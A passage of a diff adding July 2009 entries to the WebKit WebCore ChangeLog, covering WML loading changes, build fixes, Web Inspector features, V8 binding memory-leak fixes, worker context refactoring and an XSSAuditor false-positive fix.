+          in a standalone WML document or wheter the main frame document is different. If it differs
+          the main frame documents' "containsWMLContent" property is set to true.
+
+          -> Make FrameLoader::shouldReload() use the new frameContainsWMLContent() method, which
+             checks if the associated frame document is a WML document or wheter it contains WML content.
+
+        - Change FrameLoader::loadItem() to use the new frameContainsWMLContent() method for 'shouldScroll'
+          detection. WML documents (or those containing WML content) always want new loads even for in-page
+          navigation. No "scroll to anchor" mechanism should apply.
+
+        - Modify FrameLoader::canCachePageContainingThisFrame() to check for !frameContainsWMLContent().
+          WML pages should never be cached, potential security problem due the use of variables (per spec).
+
+        Add two new WML tests which were broken before, testing onenterforward/onenterbackward event handling
+        and history navigation (<prev/> task).
+
+        Tests: wml/enter-card-with-events.html
+               wml/enter-first-card-with-events.html
+
+        * dom/Document.cpp: Initialize new 'm_containsWMLContent' property.
+        (WebCore::Document::Document):
+        * dom/Document.h: Add new helper methods and 'm_containsWMLContent" variable (explained above).
+        (WebCore::Document::setContainsWMLContent):
+        (WebCore::Document::containsWMLContent):
+        * history/BackForwardList.cpp:
+        (WebCore::BackForwardList::clearWMLPageHistory): Renamed from clearWmlPageHistory() & slight cleanup.
+        * history/BackForwardList.h:
+        * loader/FrameLoader.cpp: Rework WML loading behaviour (explained above).
+        (WebCore::FrameLoader::FrameLoader):
+        (WebCore::frameContainsWMLContent):
+        (WebCore::FrameLoader::canCachePageContainingThisFrame):
+        (WebCore::FrameLoader::shouldReload):
+        (WebCore::FrameLoader::loadItem):
+        * loader/FrameLoader.h:
+        * wml/WMLCardElement.cpp: 
+        (WebCore::WMLCardElement::handleIntrinsicEventIfNeeded): No need anymore to manually track history length.
+        (WebCore::WMLCardElement::insertedIntoDocument): Handle setting containsWMLContent on the main frame document.
+        * wml/WMLGoElement.cpp: 
+        (WebCore::WMLGoElement::executeTask): Remove call to FrameLoader::setForceReloadWmlDeck()
+        * wml/WMLPageState.cpp: Remove 'm_historyLength' - no need anymore to track history length on our own.
+        (WebCore::WMLPageState::WMLPageState):
+        (WebCore::WMLPageState::dump):
+        (WebCore::WMLPageState::reset):
+        * wml/WMLPageState.h:
+
+2009-07-27  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Adam Roben.
+
+        Fix Chromium build breakage introduced in 46388.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27705
+
+        * platform/graphics/chromium/FontPlatformDataChromiumWin.cpp:
+        (WebCore::FontPlatformData::description):
+        * platform/graphics/chromium/FontPlatformDataChromiumWin.h:
+
+2009-07-27  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Add some more debug logging to PluginViewMac.
+
+        * plugins/mac/PluginViewMac.cpp:
+
+2009-07-27  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Jan Michael Alonzo.
+
+        Remove dead code from the GTK NPAPI implementation.
+
+        * plugins/gtk/PluginViewGtk.cpp:
+
+2009-07-27  Csaba Osztrogonac  <oszi@inf.u-szeged.hu>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Buildfix on Windows.
+        https://bugs.webkit.org/show_bug.cgi?id=27702
+
+        * plugins/win/PluginViewWin.cpp:
+        (WebCore::PluginView::hookedEndPaint):
+            Constraint of (*endPaint) operand modified from "g" to "m" (memory) in inline 
+            assembly, because with "g" constraint, wrong assembly code generated.
+
+2009-07-27  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebCore bindings: Implement ScriptArray bindings.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27691
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/ScriptArray.cpp: Added.
+        (WebCore::ScriptArray::ScriptArray):
+        (WebCore::handleException):
+        (WebCore::ScriptArray::set):
+        (WebCore::length):
+        (WebCore::ScriptArray::createNew):
+        * bindings/js/ScriptArray.h: Added.
+        (WebCore::ScriptArray::ScriptArray):
+        (WebCore::ScriptArray::jsArray):
+        * bindings/v8/ScriptArray.cpp: Added.
+        (WebCore::ScriptArray::ScriptArray):
+        (WebCore::ScriptArray::set):
+        (WebCore::ScriptArray::length):
+        (WebCore::ScriptArray::createNew):
+        * bindings/v8/ScriptArray.h: Added.
+        (WebCore::ScriptArray::ScriptArray):
+        (WebCore::ScriptArray::~ScriptArray):
+
+2009-07-27  Brent Fulgham  <bfulgham@webkit.org>
+
+        Build correct, no review.
+
+        Change in r46407 broke Apple Windows build.
+        Switch to WinCairo-only test, to avoid any
+        other platform break.
+
+        * WebCorePrefix.h: 
+
+2009-07-26  Brent Fulgham  <bfulgham@webkit.org>
+
+        Build correct, no review.
+
+        Change in r46407 broke Apple Windows build.
+
+        * WebCorePrefix.h: Use WTF_PLATFORM_CG to decide if
+          CoreServices.h should be included.
+
+2009-07-26  Brent Fulgham  <bfulgham@webkit.org>
+
+        Build correction, no review.
+
+        Change in r46195 broke WinCairo build.
+
+        * WebCorePrefix.h: CoreServices should be ignored
+          for non-Apple build.
+
+2009-07-26  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Implement the breakpoints sidebar pane.
+        This change adds simple UI support into the existing
+        BreakpointSidebarPane.
+
+        https://bugs.webkit.org/show_bug.cgi?id=11175
+
+        * inspector/front-end/Breakpoint.js:
+        (WebInspector.Breakpoint.prototype.set enabled):
+        (WebInspector.Breakpoint.prototype.get label):
+        (WebInspector.Breakpoint.prototype.get id):
+        * inspector/front-end/BreakpointsSidebarPane.js:
+        (WebInspector.BreakpointsSidebarPane):
+        (WebInspector.BreakpointsSidebarPane.prototype.addBreakpoint):
+        (WebInspector.BreakpointsSidebarPane.prototype._appendBreakpointElement):
+        (WebInspector.BreakpointsSidebarPane.prototype._appendBreakpointElement.labelClicked):
+        (WebInspector.BreakpointsSidebarPane.prototype.removeBreakpoint):
+        (WebInspector.BreakpointsSidebarPane.prototype._breakpointEnableChanged):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel):
+        (WebInspector.ScriptsPanel.prototype.scriptOrResourceForID):
+        * inspector/front-end/inspector.css:
+
+2009-07-16  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Oliver Hunt.
+
+        Canvas: rotation of 'no-repeat' pattern still has small error
+        https://bugs.webkit.org/show_bug.cgi?id=26749
+
+        Use 1<<22 as steps of no-repeat pattern to make the error less
+        than 0.5.  The previous value may cause 1 pixel errors.
+
+        Add another test to show this bug clearly.
+        Also add png expected image which was missing in the previous patch.
+
+        Test: fast/canvas/image-pattern-rotate.html
+
+        * platform/graphics/cg/PatternCG.cpp:
+        (WebCore::Pattern::createPlatformPattern):
+
+2009-07-25  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Darin Adler.
+
+        Windows build break due to warning C4819
+        https://bugs.webkit.org/show_bug.cgi?id=27416
+
+        Disable C4819 warning to fix build.
+
+        * WebCore.vcproj/QTMovieWin.vcproj:
+        * WebCore.vcproj/WebCore.vcproj:
+
+2009-07-25  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Reviewed by Kevin McCullough.
+
+        Inspector: Keyboard Shortcuts to Switch Panels
+        https://bugs.webkit.org/show_bug.cgi?id=27286
+
+        * inspector/front-end/inspector.js:
+        (WebInspector.loaded): save a list of the order of the panels
+        (WebInspector.documentKeyDown): handle the keyboard shortcuts to traverse the panels
+
+2009-07-25  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by George Staikos.
+
+        [Qt] Fix build break after r46369
+        https://bugs.webkit.org/show_bug.cgi?id=27680
+
+        * WebCore.pro:
+
+2009-07-25  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        [WML] Variable substitution is buggy
+        https://bugs.webkit.org/show_bug.cgi?id=27677
+
+        Substitute variables upon attach() time instead of insertedIntoDocument(). Otherwhise variable substitution
+        won't work during inter-deck jumps (same URL, different fragment). Covered by new test fast/wml/newcontext-same-deck.html.
+
+        * dom/Text.cpp:
+        (WebCore::Text::attach):
+        * dom/Text.h:
+
+2009-07-25  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        [WML] WMLDoElement doesn't update its RenderButton object upon attach()
+        https://bugs.webkit.org/show_bug.cgi?id=27676
+
+        WMLDoElement needs to implement attach() and call updateFromElement() on its associated RenderButton.
+        Mimics HTMLButtonElement/HTMLFormControlElement behaviour and fixes several painting/styling issues covered by existing tests in fast/wml.
+
+        * wml/WMLDoElement.cpp:
+        (WebCore::WMLDoElement::attach):
+        * wml/WMLDoElement.h:
+
+2009-07-25  Pavel Feldman  <pfeldman@chromium.org>
+
+        Fix Windows build breakage introduced in 46390.
+
+        * WebCore.vcproj/WebCore.vcproj:
+
+2009-07-24  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Reviewed by Oliver Hunt.
+
+        Inspector: Properties Should be Sorted more Naturally
+        https://bugs.webkit.org/show_bug.cgi?id=27329
+
+        * inspector/front-end/ObjectPropertiesSection.js:
+        (WebInspector.ObjectPropertiesSection.prototype.update): use the displaySort when showing properties
+        (WebInspector.ObjectPropertiesSection.prototype._displaySort): alphaNumerical sort
+        (WebInspector.ObjectPropertyTreeElement.prototype.onpopulate): use the displaySort when showing properties
+        * inspector/front-end/utilities.js:
+        (Object.sortedProperties): allow for an optional sorting function in Object.sortedProperties
+
+2009-07-24  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Split InspectorController into InspectorController
+        and InspectorBackend. Everything frontend needs from InspectorController
+        will slowly migrate into the InspectorBackend.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27541
+
+        * DerivedSources.make:
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * bindings/js/JSInspectorBackendCustom.cpp: Added.
+        (WebCore::JSInspectorBackend::highlightDOMNode):
+        (WebCore::JSInspectorBackend::search):
+        (WebCore::JSInspectorBackend::databaseTableNames):
+        (WebCore::JSInspectorBackend::inspectedWindow):
+        (WebCore::JSInspectorBackend::setting):
+        (WebCore::JSInspectorBackend::setSetting):
+        (WebCore::JSInspectorBackend::wrapCallback):
+        (WebCore::JSInspectorBackend::currentCallFrame):
+        (WebCore::JSInspectorBackend::profiles):
+        * bindings/v8/custom/V8InspectorBackendCustom.cpp: Added.
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/js/JSInspectorControllerCustom.cpp: Removed.
+        * bindings/js/ScriptObject.cpp:
+        (WebCore::ScriptGlobalObject::set):
+        * bindings/js/ScriptObject.h:
+        * bindings/v8/DOMObjectsInclude.h:
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        * bindings/v8/ScriptObject.cpp:
+        (WebCore::ScriptGlobalObject::set):
+        * bindings/v8/ScriptObject.h:
+        * bindings/v8/V8Index.cpp:
+        * bindings/v8/V8Index.h:
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8InspectorControllerCustom.cpp: Removed.
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::InspectorController):
+        (WebCore::InspectorController::windowScriptObjectAvailable):
+        * inspector/InspectorController.h:
+        (WebCore::InspectorController::inspectorBackend):
+        * inspector/InspectorBackend.cpp: Added.
+        * inspector/InspectorBackend.h: Added.
+        (WebCore::InspectorBackend::create):
+        (WebCore::InspectorBackend::inspectorController):
+        * inspector/InspectorBackend.idl: Added.
+        * inspector/InspectorController.idl: Removed.
+        * inspector/front-end/Resource.js:
+        * page/Page.cpp:
+        (WebCore::Page::Page):
+        * page/Page.h:
+
+2009-07-25  Mike Fenton  <mike.fenton@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        Update WebCore/page/Frame.cpp/h to conform to WebKit
+        Style Guidelines as identified by cpplint.py.
+        https://bugs.webkit.org/show_bug.cgi?id=27654
+
+        * page/Frame.cpp:
+        (WebCore::Frame::Frame):
+        (WebCore::Frame::~Frame):
+        (WebCore::Frame::setDocument):
+        (WebCore::Frame::firstRectForRange):
+        (WebCore::createRegExpForLabels):
+        (WebCore::Frame::searchForLabelsBeforeElement):
+        (WebCore::Frame::matchLabelsAgainstElement):
+        (WebCore::Frame::selectionLayoutChanged):
+        (WebCore::Frame::setZoomFactor):
+        (WebCore::Frame::reapplyStyles):
+        (WebCore::Frame::isContentEditable):
+        (WebCore::Frame::computeAndSetTypingStyle):
+        (WebCore::Frame::selectionStartStylePropertyValue):
+        (WebCore::Frame::selectionComputedStyle):
+        (WebCore::Frame::applyEditingStyleToBodyElement):
+        (WebCore::Frame::removeEditingStyleFromBodyElement):
+        (WebCore::Frame::applyEditingStyleToElement):
+        (WebCore::Frame::selectionBounds):
+        (WebCore::Frame::currentForm):
+        (WebCore::Frame::revealSelection):
+        (WebCore::Frame::styleForSelectionStart):
+        (WebCore::Frame::setSelectionFromNone):
+        (WebCore::Frame::findString):
+        (WebCore::Frame::markAllMatchesForText):
+        (WebCore::Frame::setMarkedTextMatchesAreHighlighted):
+        (WebCore::Frame::clearFormerDOMWindow):
+        (WebCore::Frame::unfocusWindow):
+        (WebCore::Frame::respondToChangedSelection):
+        (WebCore::Frame::documentAtPoint):
+        * page/Frame.h:
+        (WebCore::Frame::create):
+        (WebCore::Frame::displayStringModifiedByEncoding):
+        (WebCore::Frame::pageZoomFactor):
+        (WebCore::Frame::textZoomFactor):
+
+2009-07-24  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Add functions to print the glyph page trees for debugging
+        https://bugs.webkit.org/show_bug.cgi?id=27671
+
+        * platform/graphics/FontData.h: Defined a description() method.
+
+        * platform/graphics/GlyphPageTreeNode.cpp:
+        (WebCore::GlyphPageTreeNode::showSubtree): Added. Prints the node and
+            its descendants.
+        (showGlyphPageTrees): Added. Prints all glyph page trees.
+        (showGlyphPageTree): Added. Prints the glyph page tree for a given page.
+        * platform/graphics/GlyphPageTreeNode.h:
+
+        * platform/graphics/SegmentedFontData.cpp:
+        (WebCore::SegmentedFontData::description): Added.
+
+        * platform/graphics/SegmentedFontData.h:
+        * platform/graphics/SimpleFontData.cpp:
+        (WebCore::SimpleFontData::description): Added. Uses the platform data
+            as the description for non-svg, non-custom fonts.
+        * platform/graphics/SimpleFontData.h:
+
+        * platform/graphics/gtk/FontPlatformData.h:
+        * platform/graphics/gtk/FontPlatformDataGtk.cpp:
+        (WebCore::FontPlatformData::description): Added. Returns a null string.
+        * platform/graphics/gtk/FontPlatformDataPango.cpp:
+        (WebCore::FontPlatformData::description): Added. Returns a null string.
+
+        * platform/graphics/mac/FontPlatformData.h:
+        * platform/graphics/mac/FontPlatformDataMac.mm:
+        (WebCore::FontPlatformData::description): Added. Returns the
+            description of the CGFont, the size and the synthetic style flags,
+            if set.
+
+        * platform/graphics/qt/FontPlatformData.h:
+        * platform/graphics/qt/FontPlatformDataQt.cpp:
+        (WebCore::FontPlatformData::description): Added. Returns a null string.
+
+        * platform/graphics/win/FontPlatformData.h:
+        * platform/graphics/win/FontPlatformDataWin.cpp:
+        (WebCore::FontPlatformData::description): Added. Returns a null string.
+
+        * platform/graphics/wince/FontPlatformData.cpp:
+        (WebCore::FontPlatformData::description): Added. Returns a null string.
+        * platform/graphics/wince/FontPlatformData.h:
+
+        * platform/graphics/wx/FontPlatformData.h:
+        * platform/graphics/wx/FontPlatformDataWx.cpp:
+        (WebCore::FontPlatformData::description): Added. Returns a null string.
+
+2009-07-24  Mads Ager  <ager@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        SVG and XPath memory leaks in V8 bindings
+        https://bugs.webkit.org/show_bug.cgi?id=27488
+
+        Add proper 'create' methods to SVGPodTypeWrappers and
+        XPathNSResolvers in the V8 bindings to avoid memory leaks.
+
+        Introduce convertToV8Object methods that accept PassRefPtrs and
+        clean up the use of get() and release() on RefPtrs.
+        
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/V8DOMWrapper.h:
+        (WebCore::V8DOMWrapper::convertNodeToV8Object):
+        (WebCore::V8DOMWrapper::convertEventToV8Object):
+        (WebCore::V8DOMWrapper::convertEventTargetToV8Object):
+        (WebCore::V8DOMWrapper::convertEventListenerToV8Object):
+        * bindings/v8/V8SVGPODTypeWrapper.h:
+        (WebCore::V8SVGPODTypeWrapperCreatorForList::create):
+        (WebCore::V8SVGPODTypeWrapperCreatorForList::V8SVGPODTypeWrapperCreatorForList):
+        (WebCore::V8SVGStaticPODTypeWrapper::create):
+        (WebCore::V8SVGStaticPODTypeWrapper::V8SVGStaticPODTypeWrapper):
+        (WebCore::V8SVGStaticPODTypeWrapperWithPODTypeParent::create):
+        (WebCore::V8SVGStaticPODTypeWrapperWithPODTypeParent::V8SVGStaticPODTypeWrapperWithPODTypeParent):
+        (WebCore::V8SVGStaticPODTypeWrapperWithParent::create):
+        (WebCore::V8SVGStaticPODTypeWrapperWithParent::V8SVGStaticPODTypeWrapperWithParent):
+        (WebCore::V8SVGDynamicPODTypeWrapper::create):
+        (WebCore::V8SVGDynamicPODTypeWrapper::V8SVGDynamicPODTypeWrapper):
+        (WebCore::V8SVGDynamicPODTypeWrapperCache::lookupOrCreateWrapper):
+        * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8ClientRectListCustom.cpp:
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        * bindings/v8/custom/V8CustomXPathNSResolver.cpp:
+        (WebCore::V8CustomXPathNSResolver::create):
+        * bindings/v8/custom/V8CustomXPathNSResolver.h:
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::NAMED_PROPERTY_GETTER):
+        * bindings/v8/custom/V8DocumentCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8ElementCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLCollectionCustom.cpp:
+        (WebCore::getNamedItems):
+        (WebCore::getItem):
+        * bindings/v8/custom/V8HTMLDocumentCustom.cpp:
+        (WebCore::NAMED_PROPERTY_GETTER):
+        (WebCore::ACCESSOR_GETTER):
+        * bindings/v8/custom/V8HTMLFormElementCustom.cpp:
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::NAMED_PROPERTY_GETTER):
+        * bindings/v8/custom/V8HTMLOptionsCollectionCustom.cpp:
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        * bindings/v8/custom/V8HTMLSelectElementCollectionCustom.cpp:
+        (WebCore::NAMED_PROPERTY_GETTER):
+        * bindings/v8/custom/V8InspectorControllerCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8NamedNodeMapCustom.cpp:
+        (WebCore::INDEXED_PROPERTY_GETTER):
+        (WebCore::NAMED_PROPERTY_GETTER):
+        * bindings/v8/custom/V8NodeIteratorCustom.cpp:
+        (WebCore::toV8):
+        * bindings/v8/custom/V8NodeListCustom.cpp:
+        (WebCore::NAMED_PROPERTY_GETTER):
+        * bindings/v8/custom/V8SVGMatrixCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8TreeWalkerCustom.cpp:
+        (WebCore::toV8):
+        * bindings/v8/custom/V8XSLTProcessorCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-07-24  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Jon Honeycutt.
+
+        Fix of <rdar://6310538> Middle-click panning should be springloaded while dragging
+        https://bugs.webkit.org/show_bug.cgi?id=21794
+        
+        Create two new booleans to determine whether we have done a springloaded pan scroll, and update
+        the name of setPanScrollCursor to updatePanScrollState to more accurately describe what the function
+        does. 
+
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::EventHandler): Initialized two new booleans.
+        (WebCore::EventHandler::autoscrollTimerFired):
+        (WebCore::EventHandler::updatePanScrollState): Renamed from setPanScrollCursor.
+        (WebCore::EventHandler::stopAutoscrollTimer): Clear the pan scrolling in progress flag.
+        (WebCore::EventHandler::handleMouseReleaseEvent): Clear the pan scrolling button pressed flag.
+        * page/EventHandler.h:
+
+2009-07-24  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27657
+        Add more wince port files to WebCore
+
+        Written by Yong Li  <yong.li@torchmobile.com> and Lyon Chen <lyon.chen@torchmobile.com>
+
+        * loader/icon/wince/IconDatabaseWince.cpp: Added.
+        * rendering/RenderThemeWince.cpp: Added.
+        * rendering/RenderThemeWince.h: Added.
+        * storage/wince/DatabaseThreadWince.cpp: Added.
+        * storage/wince/DatabaseThreadWince.h: Added.
+        * storage/wince/LocalStorageThreadWince.cpp: Added.
+        * storage/wince/LocalStorageThreadWince.h: Added.
+        * svg/graphics/wince/SVGResourceFilterWince.cpp: Added.
+
+2009-07-24  Ryosuke Niwa  <rniwa@webkit.org>
+
+        Reviewed by Justin Garcia.
+
+        execCommand('underline') can modify DOM outside of the contentEditable area
+        https://bugs.webkit.org/show_bug.cgi?id=24333
+
+        highestAncestorWithTextDecoration stops at the closest unsplittable element so that if text-decoration is applied
+        outside of it, we don't accidently modify the style attribute.
+
+        Tests: editing/style/textdecoration-outside-of-rooteditable.html
+               editing/style/textdecoration-outside-of-unsplittable-element.html
+
+        * editing/ApplyStyleCommand.cpp:
+        (WebCore::StyleChange::init):
+        (WebCore::highestAncestorWithTextDecoration):
+
+2009-07-24  Daniel Bates  <dbates@intudata.com>
+
+        Reviewed by Adam Barth.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27639
+
+        Fixes false positives when evaluating certain strings that only contain 
+        non-canonical characters.
+
+        Test: http/tests/security/xssAuditor/script-tag-safe.html
+
+        * page/XSSAuditor.cpp:
+        (WebCore::isNonCanonicalCharacter):
+        (WebCore::XSSAuditor::findInRequest):
+
+2009-07-24  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by David Levin.
+
+        Changed WorkerContext destructor to not access possibly-freed WorkerThread.
+
+        Failed assertion in WorkerContext::~WorkerContext().
+        https://bugs.webkit.org/show_bug.cgi?id=27665
+
+       * workers/DedicatedWorkerContext.cpp:
+        (WebCore::DedicatedWorkerContext::~DedicatedWorkerContext):
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::~WorkerContext):
+        Removed assertion that relies on WorkerThread still being alive (moved to DedicatedWorkerContext destructor).
+
+2009-07-24  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by Adam Barth.
+
+        Updated code generator to properly generate bindings for WorkerContext exposed functions.
+
+        Storing a reference to WorkerContext.postMessage() and calling it later yields a TypeError
+        https://bugs.webkit.org/show_bug.cgi?id=27419
+
+        Test: fast/workers/worker-call.html
+
+        * bindings/js/JSWorkerContextBase.cpp:
+        (WebCore::toJSDedicatedWorkerContext):
+        (WebCore::toJSWorkerContext):
+        Functions that convert from JSValue to the appropriate WorkerContext/DedicatedWorkerContext object.
+        * bindings/js/JSWorkerContextBase.h:
+        Added toJS*WorkerContext APIs.
+        * bindings/scripts/CodeGeneratorJS.pm:
+        Added code to appropriately check the passed-in this object when invoking functions at global scope.
+
+2009-07-24  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by Adam Barth.
+
+        Refactor WorkerContext to move DedicatedWorker-specific APIs into DedicatedWorkerContext
+        https://bugs.webkit.org/show_bug.cgi?id=27420
+
+        No new tests as the existing tests already provide sufficient coverage (this is just a refactoring with no new functionality).
+
+        * DerivedSources.cpp:
+        Added JSDerivedWorkerContext.cpp
+        * DerivedSources.make:
+        Added DerivedWorkerContext files
+        * GNUmakefile.am:
+        Added DerivedWorkerContext files
+        * WebCore.gypi:
+        Added DerivedWorkerContext files
+        * WebCore.pro:
+        Added DerivedWorkerContext files
+        * WebCore.vcproj/WebCore.vcproj:
+        Added DerivedWorkerContext files
+        * WebCore.xcodeproj/project.pbxproj:
+        Added DerivedWorkerContext files
+        * bindings/js/JSDedicatedWorkerContextCustom.cpp: Added.
+        (WebCore::JSDedicatedWorkerContext::mark):
+        Custom mark function for onmessage event handler.
+        * bindings/js/JSEventTarget.cpp:
+        (WebCore::toJS):
+        Supports conversion to JSDedicatedWorkerContext.
+        (WebCore::toEventTarget):
+        * bindings/js/JSWorkerContextCustom.cpp:
+        (WebCore::JSWorkerContext::mark):
+        Moved onmessage mark handling into DedicatedWorkerContext.
+        * bindings/js/WorkerScriptController.cpp:
+        Added appropriate casts to DedicatedWorkerContext for postMessage().
+        (WebCore::WorkerScriptController::initScript):
+        Manually sets up the prototype chain for the worker context.
+        * bindings/scripts/CodeGeneratorJS.pm:
+        Changed special case code for WorkerContext to be triggered by new IsWorkerContext attribute.
+        * bindings/scripts/CodeGeneratorV8.pm:
+        Changed hard-coded tests for WorkerContext to support DedicatedWorkerContext.
+        * bindings/v8/DOMObjectsInclude.h:
+        Added DedicatedWorkerContext.h
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        Added V8DedicatedWorkerContext.cpp
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate):
+        Added code to reserve extra fields for V8DedicatedWorkerContext.
+        * bindings/v8/V8Index.cpp:
+        Now includes V8DedicatedWorkerContext.h in addition to V8WorkerContext.h
+        * bindings/v8/V8Index.h:
+        Added DedicatedWorkerContext as a non-node wrapper type.
+        Removed WORKERCONTEXT as a valid template type.
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::WorkerContextExecutionProxy::initContextIfNeeded):
+        Creates DedicatedWorkerContext instead of WorkerContext.
+        (WebCore::WorkerContextExecutionProxy::EventTargetToV8Object):
+        Returns DedicatedWorkerContext instead of WorkerContext.
+        (WebCore::WorkerContextExecutionProxy::retrieve):
+        Refactored to deal with DedicatedWorkerContext.
+        * bindings/v8/custom/V8AbstractWorkerCustom.cpp:
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8DedicatedWorkerContextCustom.cpp: Added.
+        Moved onmessage code from V8WorkerContextCustom.cpp
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        Moved onmessage code to V8DedicatedWorkerContextCustom.cpp
+        * dom/EventTarget.cpp:
+        (WebCore::EventTarget::toDedicatedWorkerContext):
+        * dom/EventTarget.h:
+        * workers/DedicatedWorkerContext.cpp: Added.
+        Moved DedicatedWorker-only APIs from WorkerContext.
+        (WebCore::DedicatedWorkerContext::DedicatedWorkerContext):
+        (WebCore::DedicatedWorkerContext::~DedicatedWorkerContext):
+        (WebCore::DedicatedWorkerContext::reportException):
+        (WebCore::DedicatedWorkerContext::postMessage):
+        (WebCore::DedicatedWorkerContext::dispatchMessage):
+        * workers/DedicatedWorkerContext.h: Added.
+        Moved DedicatedWorker-only APIs from WorkerContext.
+        (WebCore::DedicatedWorkerContext::create):
+        (WebCore::DedicatedWorkerContext::toDedicatedWorkerContext):
+        (WebCore::DedicatedWorkerContext::setOnmessage):
+        (WebCore::DedicatedWorkerContext::onmessage):
+        * workers/DedicatedWorkerContext.idl: Added.
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::~WorkerContext):
+        Moved code that notifies parent that worker is closing down into DedicatedWorkerContext.
+        * workers/WorkerContext.h:
+        (WebCore::WorkerContext::isClosing):
+        Exposed closing flag as an API so derived classes can access it.
+        * workers/WorkerContext.idl:
+        * workers/WorkerMessagingProxy.cpp:
+        (WebCore::MessageWorkerContextTask::performTask):
+        Calls into DedicatedWorkerContext to handle message.
+        * workers/WorkerThread.cpp:
+        (WebCore::WorkerThread::workerThread):
+        Creates a DedicatedWorkerContext when the thread starts up.
+
+2009-07-24  Eric Seidel  <eric@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        Move more callers to using 3 argument toJS
+        https://bugs.webkit.org/show_bug.cgi?id=27661
+
+        No functional changes, thus no tests.
+        These are all the places where we can't yet pass the
+        correct globalObject because we don't have or don't know the right one.
+
+        * bindings/js/JSCustomPositionCallback.cpp:
+        (WebCore::JSCustomPositionCallback::handleEvent):
+        * bindings/js/JSCustomPositionErrorCallback.cpp:
+        (WebCore::JSCustomPositionErrorCallback::handleEvent):
+        * bindings/js/JSCustomSQLStatementCallback.cpp:
+        (WebCore::JSCustomSQLStatementCallback::handleEvent):
+        * bindings/js/JSCustomSQLStatementErrorCallback.cpp:
+        (WebCore::JSCustomSQLStatementErrorCallback::handleEvent):
+        * bindings/js/JSCustomSQLTransactionCallback.cpp:
+        (WebCore::JSCustomSQLTransactionCallback::handleEvent):
+        * bindings/js/JSCustomSQLTransactionErrorCallback.cpp:
+        (WebCore::JSCustomSQLTransactionErrorCallback::handleEvent):
+        * bindings/js/JSNodeFilterCondition.cpp:
+        (WebCore::JSNodeFilterCondition::acceptNode):
+
+2009-07-24  Eric Seidel  <eric@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        Fix the last of the x-frame constructor calls to have the right prototype chains
+        https://bugs.webkit.org/show_bug.cgi?id=27645
+
+        Fix the last few constructors to use their stored globalObject pointer when
+        constructing objects instead of the lexicalGlobalObject().
+
+        * bindings/js/JSAudioConstructor.cpp:
+        (WebCore::constructAudio):
+        * bindings/js/JSImageConstructor.cpp:
+        (WebCore::constructImage):
+        * bindings/js/JSMessageChannelConstructor.cpp:
+        (WebCore::JSMessageChannelConstructor::construct):
